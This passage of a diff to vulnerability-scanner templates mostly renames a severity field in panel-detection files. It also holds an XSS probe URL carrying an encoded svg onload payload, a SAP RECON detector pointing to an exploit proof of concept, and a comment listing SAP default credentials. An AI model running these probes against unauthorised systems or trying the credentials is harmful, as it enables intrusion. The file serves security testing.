+      - "{{BaseURL}}/?q%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526s%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526search%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526id%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526action%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keyword%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526query%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526page%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keywords%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526url%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526view%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526cat%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526name%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526key%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526p%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E"
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=confirm('testing-xss')>"
+        part: body

panels/cisco-asa-panel.yaml

@@ -3,7 +3,7 @@ id: cisco-asa-panel-detect
 info:
   name: Cisco ASA VPN panel detect
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/compal.yaml

@@ -3,7 +3,7 @@ id: compal-panel-detect
 info:
   name: Compal CH7465LG panel detect
   author: fabaff
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/crxde.yaml

@@ -3,7 +3,7 @@ id: crxde
 info:
   name: CRXDE Lite
   author: nadino
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/docker-api.yaml

@@ -3,7 +3,7 @@ id: exposed-docker-api
 info:
   name: Exposed Docker API
   author: furkansenan & dwisiswant0
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/fortinet-fortigate-panel.yaml

@@ -3,7 +3,7 @@ id: fortinet-fortigate-panel
 info:
   name: Fortinet FortiGate SSL VPN Panel
   author: bsysop
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/globalprotect-panel.yaml

@@ -3,7 +3,7 @@ id: globalprotect-panel
 info:
   name: PaloAlto Networks GlobalProtect Panel
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/grafana-detect.yaml

@@ -3,7 +3,7 @@ id: grafana-detect
 info:
   name: Grafana panel detect
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/jenkins-asyncpeople.yaml

@@ -3,7 +3,7 @@ id: jenkins-async-people
 info:
   name: Jenkins panel async-people
   author: nadino
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/jmx-console.yaml

@@ -0,0 +1,13 @@
+id: jmx-console
+info:
+  name: JMX Console
+  author: Yash Anand @yashanand155
+  severity: Low
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/jmx-console/'
+    matchers:
+      - type: word
+        words:
+          - JBoss JMX Management Console

panels/kubernetes-pods.yaml

@@ -2,7 +2,7 @@ id: kubernetes-pods-api
 info:
   name: Kubernetes Pods API
   author: ilovebinbash
-  severity: informative
+  severity: info
 requests:
   - method: GET
     path:

panels/mongo-express-web-gui.yaml

@@ -3,7 +3,7 @@ id: mongo-express-web-gui
 info:
   name: Mongo Express Web GUI
   author: puzzlepeaches
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/parallels-html-client.yaml

@@ -3,7 +3,7 @@ id: parallels-html-client
 info:
   name: Parallels HTML5 Client
   author: bauthard
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/phpmyadmin-panel.yaml

@@ -3,7 +3,7 @@ id: phpmyadmin-panel
 info:
   name: phpMyAdmin Panel
   author: bauthard
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/pulse-secure-panel.yaml

@@ -3,7 +3,7 @@ id: pulse-secure-panel
 info:
   name: Pulse Secure VPN Panel
   author: bsysop
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/rabbitmq-dashboard.yaml

@@ -3,7 +3,7 @@ id: rabbitmq-dashboard
 info:
   name: RabbitMQ Dashboard
   author: fyoorer
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/sap-netweaver-detect.yaml

@@ -3,7 +3,7 @@ id: sap-netweaver-portal-detect
 info:
   name: SAP NetWeaver Portal detect
   author: organiccrap
-  severity: informative
+  severity: info
   # SAP Netweaver default creds - SAP*/06071992 or TMSADM/$1Pawd2&
 
 requests:

panels/sap-recon-detect.yaml

@@ -0,0 +1,35 @@
+id: sap-recon-detect
+
+info:
+  name: SAP RECON Finder
+  author: samueladi_ & organiccrap
+  severity: medium
+
+  # Source:- https://github.com/chipik/SAP_RECON
+  # This is detection template, please use above poc to exploit this further.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean"
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean?wsdl"
+      - "{{BaseURL}}/CTCWebService/Config1?wsdl"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - Method Not Allowed
+          - Expected request method POST. Found GET.
+          - Generated by WSDLDefinitionsParser
+          - bns0:Config1Binding
+          - wsdl:definitions
+          - tns:CTCWebServiceSiBinding
+        condition: or
+
+      - type: status
+        status:
+          - 405
+          - 200
+        condition: or

panels/sophos-fw-version-detect.yaml

@@ -3,7 +3,7 @@ id: sophos-fw-version-detect
 info:
   name: Sophos Firewall version detection
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/supervpn-panel.yaml

@@ -3,7 +3,7 @@ id: supervpn-detect
 info:
   name: SuperVPN panel detect
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET